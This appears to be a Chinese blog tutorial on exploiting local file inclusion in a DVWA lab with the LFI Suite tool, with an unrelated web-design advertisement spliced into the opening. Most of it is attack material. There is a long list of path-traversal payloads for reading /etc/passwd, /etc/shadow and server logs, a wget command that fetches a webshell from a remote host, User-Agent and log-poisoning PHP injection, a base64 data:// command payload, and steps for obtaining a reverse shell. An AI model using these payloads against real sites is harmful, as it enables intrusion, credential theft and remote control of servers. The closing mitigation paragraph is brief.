今天在公眾號(hào)看到了一個(gè)本地文件包含的利用工具,看了下國(guó)外大牛對(duì)該工具的使用的一個(gè)視頻,感覺(jué)很厲害,通過(guò)該工具可對(duì)存在本地文件包含漏洞的站點(diǎn)進(jìn)行利用并返回一個(gè)LFI shell,通過(guò)返回的LFI shell再次獲取一個(gè)反向連接,從而可執(zhí)行相關(guān)命令,以前對(duì)本地文件包含的利用大多都停留在讀取文件,如果有遠(yuǎn)程文件包含的話(huà)就可以getshell。這篇文章主要是對(duì)本地文件包含的一個(gè)簡(jiǎn)單介紹及利用,主要是對(duì)工具的使用,也主要是記錄下該過(guò)程,方便以后查看,然后再抽時(shí)間研究下大神源代碼!大神請(qǐng)繞道而行!: )
創(chuàng)新互聯(lián)服務(wù)項(xiàng)目包括平昌網(wǎng)站建設(shè)、平昌網(wǎng)站制作、平昌網(wǎng)頁(yè)制作以及平昌網(wǎng)絡(luò)營(yíng)銷(xiāo)策劃等。多年來(lái),我們專(zhuān)注于互聯(lián)網(wǎng)行業(yè),利用自身積累的技術(shù)優(yōu)勢(shì)、行業(yè)經(jīng)驗(yàn)、深度合作伙伴關(guān)系等,向廣大中小型企業(yè)、政府機(jī)構(gòu)等提供互聯(lián)網(wǎng)行業(yè)的解決方案,平昌網(wǎng)站推廣取得了明顯的社會(huì)效益與經(jīng)濟(jì)效益。目前,我們服務(wù)的客戶(hù)以成都為中心已經(jīng)輻射到平昌省份的部分城市,未來(lái)相信會(huì)繼續(xù)擴(kuò)大服務(wù)區(qū)域并繼續(xù)獲得客戶(hù)的支持與信任!
文件包含漏洞主要是程序員把一些公用的代碼寫(xiě)在一個(gè)單獨(dú)的文件中,然后使用其他文件進(jìn)行包含調(diào)用,如果需要包含的文件是使用硬編碼的,那么一般是不會(huì)出現(xiàn)安全問(wèn)題,但是有時(shí)可能不確定需要包含哪些具體文件,所以就會(huì)采用變量的形式來(lái)傳遞需要包含的文件,但是在使用包含文件的過(guò)程中,未對(duì)包含的變量進(jìn)行檢查及過(guò)濾,導(dǎo)致外部提交的惡意數(shù)據(jù)作為變量進(jìn)入到了文件包含的過(guò)程中,從而導(dǎo)致提交的惡意數(shù)據(jù)被執(zhí)行。而文件包含通常分為本地文件包含(Local File Inclusion)和遠(yuǎn)程文件包含(Remote File Inclusion)。allow_url_fopen和 allow_url_include為0n的情況認(rèn)為是遠(yuǎn)程文件包含漏洞,allow_url_fopen為off和 allow_url_include為0n為本地文件包含漏洞,如圖1 配置文件所示。本次主要是利用本地文件包含,所以將allow_url_fopen設(shè)置為了off。
圖1 php.ini配置
另外文件包含漏洞主要涉及到的危險(xiǎn)函數(shù)主要是四個(gè):include(),require()和include_once(),require_once()。
include():執(zhí)行到include時(shí)才包含文件,找不到被包含文件時(shí)只會(huì)產(chǎn)生警告,腳本將繼續(xù)執(zhí)行。
require():只要程序一運(yùn)行就包含文件,找不到被包含的文件時(shí)會(huì)產(chǎn)生致命錯(cuò)誤,并停止腳本。
include_once()和require_once():若文件中代碼已被包含則不會(huì)再次包含。(來(lái)自簡(jiǎn)書(shū))
通過(guò)文件包含漏洞,可以讀取系統(tǒng)中的敏感文件,源代碼文件等,如密碼文件,通過(guò)對(duì)密碼文件進(jìn)行暴力破解,若破解成功則可獲取操作系統(tǒng)的用戶(hù)賬戶(hù),甚至可通過(guò)開(kāi)放的遠(yuǎn)程連接服務(wù)進(jìn)行連接控制;另外文件包含漏洞還可能導(dǎo)致執(zhí)行任意代碼,不管本地文件包含還是遠(yuǎn)程文件包含!
總之,常見(jiàn)的利用方法有以下三點(diǎn):
一、讀取目標(biāo)主機(jī)上的其他文件,主要是本地文件包含。
二、包含可運(yùn)行的網(wǎng)頁(yè)***,主要是遠(yuǎn)程文件包含,前提是"allow_url_fopen"是激活的(默認(rèn)是激活的,沒(méi)幾個(gè)人會(huì)修改)。
三、包含一個(gè)創(chuàng)建文件的相應(yīng)代碼文件,因?yàn)橥ㄟ^(guò)文件包含漏洞獲取的shell不是長(zhǎng)久的,如果這個(gè)漏洞修補(bǔ)了,那么shell也不存在了,因此需要?jiǎng)?chuàng)建一個(gè)真實(shí)的shell。我們可以先包含一個(gè)可以執(zhí)行cmd的偽shell,然后使用wget加-O參數(shù)(類(lèi)似:
http://x.x.x.x/index.php?page=http://www.1ster.cn/cmd.txt?cmd=wgethttp://x.x.x.x/muma.txt -O muma.php)獲取一個(gè)真正的webshell。如果系統(tǒng)中沒(méi)有wget命令,獲取目錄不可寫(xiě),那么我們可以包含一個(gè)創(chuàng)建文件的腳本,然后通過(guò)腳本上傳***文件。
其實(shí)除了以上三點(diǎn)外,應(yīng)該還有一點(diǎn)就是執(zhí)行任意命令!
本次實(shí)驗(yàn)環(huán)境主要是利用dvwa平臺(tái)進(jìn)行演示,如圖2所示。DVWA(Damn Vulnerable Web Application)是用PHP+MySQL編寫(xiě)的一套web漏洞平臺(tái),說(shuō)簡(jiǎn)單點(diǎn)就是所謂的網(wǎng)站漏洞靶機(jī),該平臺(tái)包含了SQL注入、XSS、本地文件包含、命令執(zhí)行等一些常見(jiàn)的web安全漏洞,并且該平臺(tái)是開(kāi)源的,可以從官網(wǎng)直接下載。
圖2 dvwa平臺(tái)
本次主要使用的是LFI SUIT本地文件包含利用工具,是一款用python2.7編寫(xiě)的神器,該適用于Windows,Linux 和 OS X,并且首次使用會(huì)自動(dòng)配置,自動(dòng)安裝需要的模塊,該工具提供了九種不同的文件包含***模塊,如圖3所示。另外當(dāng)你通過(guò)一個(gè)可利用的***獲取到一個(gè)LFI shell后,你可以通過(guò)輸入“reverseshell”命令輕易地獲得一個(gè)反向shell。但是前提是你必須讓你的系統(tǒng)監(jiān)聽(tīng)反向連接,比如使用“nc –lvp port”。
圖3 九種不同的文件包含***模塊
在之前的本地文件包含漏洞中,大多數(shù)都是進(jìn)行讀取文件,如linux下的密碼文件(../../../../etc/shadow以及../../../../etc/passwd),獲取讀取一些你知道物理路徑的一些文件,如圖4所示。
圖4 讀取已知路徑下的文件
以下是一些簡(jiǎn)單的測(cè)試用例,根據(jù)實(shí)際情況進(jìn)行適當(dāng)?shù)男薷?。在神器的目錄下也包含了很多測(cè)試用例,可自行查看!
../../tomcat/conf/tomcat-users.xml ../ %2e%2e%2f whichtranslates to ../ %2e%2e/ whichtranslates to ../ ..%2f whichtranslates to ../ %2e%2e%5c whichtranslates to ..\ %c1%1c %c0%9v %c0%af ..%5c../ ../../../../../../../../../../../../etc/hosts%00 ../../../../../../../../../../../../etc/hosts ../../boot.ini /../../../../../../../../%2A ../../../../../../../../../../../../etc/passwd%00 ../../../../../../../../../../../../etc/passwd ../../../../../../../../../../../../etc/shadow%00 ../../../../../../../../../../../../etc/shadow /../../../../../../../../../../etc/passwd^^ /../../../../../../../../../../etc/shadow^^ /../../../../../../../../../../etc/passwd /../../../../../../../../../../etc/shadow /./././././././././././etc/passwd /./././././././././././etc/shadow \..\..\..\..\..\..\..\..\..\..\etc\passwd \..\..\..\..\..\..\..\..\..\..\etc\shadow ..\..\..\..\..\..\..\..\..\..\etc\passwd ..\..\..\..\..\..\..\..\..\..\etc\shadow /..\../..\../..\../..\../..\../..\../etc/passwd /..\../..\../..\../..\../..\../..\../etc/shadow .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow \..\..\..\..\..\..\..\..\..\..\etc\passwd%00 \..\..\..\..\..\..\..\..\..\..\etc\shadow%00 ..\..\..\..\..\..\..\..\..\..\etc\passwd%00 ..\..\..\..\..\..\..\..\..\..\etc\shadow%00 %0a/bin/cat%20/etc/passwd %0a/bin/cat%20/etc/shadow %00/etc/passwd%00 %00/etc/shadow%00 %00../../../../../../etc/passwd %00../../../../../../etc/shadow /../../../../../../../../../../../etc/passwd%00.jpg /../../../../../../../../../../../etc/passwd%00.html /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00 /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00 %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00 %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%255cboot.ini /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini \\'/bin/cat%20/etc/passwd\\' \\'/bin/cat%20/etc/shadow\\' ../../../../../../../../conf/server.xml /../../../../../../../../bin/id| C:/inetpub/wwwroot/global.asa C:\inetpub\wwwroot\global.asa C:/boot.ini C:\boot.ini ../../../../../../../../../../../../localstart.asp%00 ../../../../../../../../../../../../localstart.asp ../../../../../../../../../../../../boot.ini%00 ../../../../../../../../../../../../boot.ini /./././././././././././boot.ini /../../../../../../../../../../../boot.ini%00 /../../../../../../../../../../../boot.ini /..\../..\../..\../..\../..\../..\../boot.ini /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini \..\..\..\..\..\..\..\..\..\..\boot.ini ..\..\..\..\..\..\..\..\..\..\boot.ini%00 ..\..\..\..\..\..\..\..\..\..\boot.ini /../../../../../../../../../../../boot.ini%00.html /../../../../../../../../../../../boot.ini%00.jpg /.../.../.../.../.../ ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bo ../../../../../../../../../../var/log/httpd/access_log ../../../../../../../../../../var/log/httpd/error_log ../apache/logs/error.log ../apache/logs/access.log ../../apache/logs/error.log ../../apache/logs/access.log ../../../apache/logs/error.log ../../../apache/logs/access.log ../../../../../../../../../../etc/httpd/logs/acces_log ../../../../../../../../../../etc/httpd/logs/acces.log ../../../../../../../../../../etc/httpd/logs/error_log ../../../../../../../../../../etc/httpd/logs/error.log ../../../../../../../../../../var/www/logs/access_log ../../../../../../../../../../var/www/logs/access.log ../../../../../../../../../../usr/local/apache/logs/access_log ../../../../../../../../../../usr/local/apache/logs/access.log ../../../../../../../../../../var/log/apache/access_log ../../../../../../../../../../var/log/apache/access.log ../../../../../../../../../../var/log/access_log ../../../../../../../../../../var/www/logs/error_log ../../../../../../../../../../var/www/logs/error.log ../../../../../../../../../../usr/local/apache/logs/error_log ../../../../../../../../../../usr/local/apache/logs/error.log ../../../../../../../../../../var/log/apache/error_log ../../../../../../../../../../var/log/apache/error.log ../../../../../../../../../../var/log/access_log ../../../../../../../../../../var/log/error_log /var/log/httpd/access_log /var/log/httpd/error_log ../apache/logs/error.log ../apache/logs/access.log ../../apache/logs/error.log ../../apache/logs/access.log ../../../apache/logs/error.log ../../../apache/logs/access.log /etc/httpd/logs/acces_log /etc/httpd/logs/acces.log /etc/httpd/logs/error_log /etc/httpd/logs/error.log /var/www/logs/access_log /var/www/logs/access.log /usr/local/apache/logs/access_log /usr/local/apache/logs/access.log /var/log/apache/access_log /var/log/apache/access.log /var/log/access_log /var/www/logs/error_log /var/www/logs/error.log /usr/local/apache/logs/error_log /usr/local/apache/logs/error.log /var/log/apache/error_log /var/log/apache/error.log /var/log/access_log /var/log/error_log ../../../WEB-INF/web.xml
直接使用pythonlfisuite.py,如圖5所示。此時(shí)我們選擇利用功能模塊1.
圖5 運(yùn)行本地文件包含利用工具
在我們選擇利用功能模塊1后,會(huì)提示讓我們輸入cookie,如圖6所示:
圖6 設(shè)置cookie
瀏覽器F12console輸入document.cookie即可獲取到當(dāng)前cookie,如圖7所示。
圖7 獲取cookie
輸入cookie后,我們隨便選擇一個(gè)***模塊試試,在此我們選擇3,選取***模塊后,我們輸入漏洞地址即可成功獲取到一個(gè)shell,如圖8所示。
圖8 成功獲取LFI shell
如果我們不知道那個(gè)***模塊可以返回shell,我們可以選擇自動(dòng)***模塊。
圖9 自動(dòng)***模塊
選擇之后我們需要選擇一個(gè)包含路徑的文件,我們選擇當(dāng)前目錄下的一個(gè)文件即可。
圖10 選擇文件
選擇文件后該工具會(huì)嘗試可能性的路徑,并且加以利用。
圖11 選擇文件
如圖12所示,我們成功獲取了一個(gè)shell。
圖12 成功獲取shell
在我們已經(jīng)獲取到的lfishell后,我們可以使用reverseshell來(lái)獲取一個(gè)反向連接,我們先進(jìn)行監(jiān)聽(tīng)反向連接,如圖13所示。
圖13 設(shè)置監(jiān)聽(tīng)反向連接
我們輸入reverseshell后設(shè)置ip即可
圖14 設(shè)置ip及端口
此時(shí)我們也成功獲取到了一個(gè)反向連接,如圖15所示。
圖15 獲取到反向連接
另外我們也可以先使用掃描模塊,然后在選擇對(duì)應(yīng)的***模塊也能成功獲取到LFI shell。使用方法與上面都是一樣的,再次就不再進(jìn)行描述了。
這里主要是利用PHP的一些函數(shù)及偽協(xié)議的使用,通過(guò)查看PHP幫助文檔對(duì)這些模塊進(jìn)行復(fù)現(xiàn),與源代碼中的利用存在一定的差異,參考文檔。由于能力有限,其中兩個(gè)模塊完全失敗,/proc/self/fd以及phpinfo模塊,看了源代碼應(yīng)該是利用phpinfo的一個(gè)注入來(lái)上傳一個(gè)包含PHP的代碼,從而進(jìn)行實(shí)現(xiàn),但是沒(méi)有利用成功。編程水平太差,誰(shuí)能救救我!
通過(guò)訪(fǎng)問(wèn)http://127.0.0.1/vulnerabilities/fi/?page=../../../../../../../../proc/self/environ查看是否可以包含/proc/self/environ文件,如果返回了環(huán)境變量信息則說(shuō)明可以訪(fǎng)問(wèn),如果返回為空,那么一般是無(wú)法訪(fǎng)問(wèn)。通過(guò)判斷可以訪(fǎng)問(wèn)后,然后向User-Agent頭中注入PHP代碼(如<?php system(‘whoami’);?>)進(jìn)行***,如果代碼被成功注入到User-Agent頭中,通過(guò)重新加載環(huán)境變量,最后會(huì)執(zhí)行你的PHP代碼。由于無(wú)法添加該文件的訪(fǎng)問(wèn)權(quán)限,因此沒(méi)有復(fù)現(xiàn)成功,另外需要主機(jī)是linux!
php://filter是PHP語(yǔ)言中特有的協(xié)議流,作用是作為一個(gè)“中間流”來(lái)處理其他流,因此我們可以結(jié)合php://input(見(jiàn)下文)來(lái)執(zhí)行PHP代碼,如圖16,另外也可以將執(zhí)行后的結(jié)果進(jìn)行base64編碼輸入,如圖17。
圖16 php://filter執(zhí)行PHP代碼
圖17 php://filter執(zhí)行PHP代碼base64輸出
通過(guò)使用php://input然后輸入PHP代碼,然后就可以進(jìn)行包含輸入的PHP代碼,如圖18所示,也可以通過(guò)PHP代碼進(jìn)行wget一個(gè)***文件,從而可獲取一個(gè)webshell。但是使用該模塊,必須開(kāi)啟包含url功能!
圖18 php://input執(zhí)行PHP代碼
不知道如何利用,如果大牛路過(guò),煩請(qǐng)多多指教!
這里主要是利用日志文件,我們?cè)L問(wèn)的get請(qǐng)求以及User-Agent會(huì)記錄到日志中,然后就可以構(gòu)造一句話(huà)訪(fǎng)問(wèn),如圖19,也可以寫(xiě)在User-Agent中,通過(guò)連接日志文件即可獲取到一句話(huà),執(zhí)行PHP代碼,如圖20,但是這里需要保證對(duì)日志文件有訪(fǎng)問(wèn)權(quán)限,并且知道日志文件路勁,否則不能成功,可以先包含日志文件,看有沒(méi)有內(nèi)容,如果沒(méi)有內(nèi)容一般就是不能訪(fǎng)問(wèn)!
圖19 將PHP代碼寫(xiě)入到日志中
圖20 包含含有PHP代碼的日志文件
通過(guò)查看源代碼,好像是通過(guò)phpinfo注入,偽造提交一個(gè)含有PHP代碼的文件,從而執(zhí)行PHP代碼,嘗試了下依舊不成功,哎,,,,,有時(shí)間繼續(xù)研究,路過(guò)的你知道的話(huà),請(qǐng)多多指教!
這里主要是使用data://來(lái)打印內(nèi)容,使用base64加密,如<?phpsystem('whoami');?>進(jìn)行base64編碼,如圖21所示,然后使用data://來(lái)進(jìn)行包含PHP代碼,data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==,從而可執(zhí)行PHP代碼,如圖22。詳情請(qǐng)點(diǎn)擊此處。
圖21 對(duì)PHP代碼進(jìn)行base64編碼
圖22 執(zhí)行PHP代碼
expect://主要是用于處理交互式的流,由 expect:// 封裝協(xié)議打開(kāi)的數(shù)據(jù)流 PTY 提供了對(duì)進(jìn)程 stdio、stdout 和 stderr 的訪(fǎng)問(wèn)。該封裝協(xié)議默認(rèn)未開(kāi)啟,為了使用expect:// 封裝器,你必須安裝PECL 上的Expect 擴(kuò)展。由于某些原因,此模塊也沒(méi)有復(fù)現(xiàn)成功,另外該封裝協(xié)議默認(rèn)不開(kāi)啟,所以也沒(méi)有花時(shí)間進(jìn)行復(fù)現(xiàn)了!詳情參考。
本文主要是對(duì)文件包含做了一個(gè)簡(jiǎn)單的介紹,如文件包含漏洞的簡(jiǎn)單原理及危害,最重要的是對(duì)本地文件包含漏洞的進(jìn)一步利用,通過(guò)本地文件包含漏洞,從而獲取到一個(gè)反向連接或者是LFI shell。通過(guò)本文也讓自己對(duì)本地文件包含的危害和利用都有了一定的提高,不在是只停留在讀取文件上!
通過(guò)對(duì)該漏洞的利用,最安全的是設(shè)置allow_url_fopen和 allow_url_include為0ff,這樣就不能利用該漏洞了,另一方面可以做白名單限制,相當(dāng)于是硬編碼,直接把需要包含的文件固定死,這樣既不會(huì)影響業(yè)務(wù),也不會(huì)很輕松被利用,其次還是對(duì)用戶(hù)的輸入保持懷疑態(tài)度,對(duì)用戶(hù)的輸入變量進(jìn)行嚴(yán)格的檢查及過(guò)濾!
網(wǎng)頁(yè)標(biāo)題:淺談本地文件包含利用
分享網(wǎng)址:http://muchs.cn/article26/pdjijg.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供做網(wǎng)站、企業(yè)建站、網(wǎng)頁(yè)設(shè)計(jì)公司、網(wǎng)站設(shè)計(jì)、營(yíng)銷(xiāo)型網(wǎng)站建設(shè)、搜索引擎優(yōu)化
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶(hù)投稿、用戶(hù)轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話(huà):028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)
猜你還喜歡下面的內(nèi)容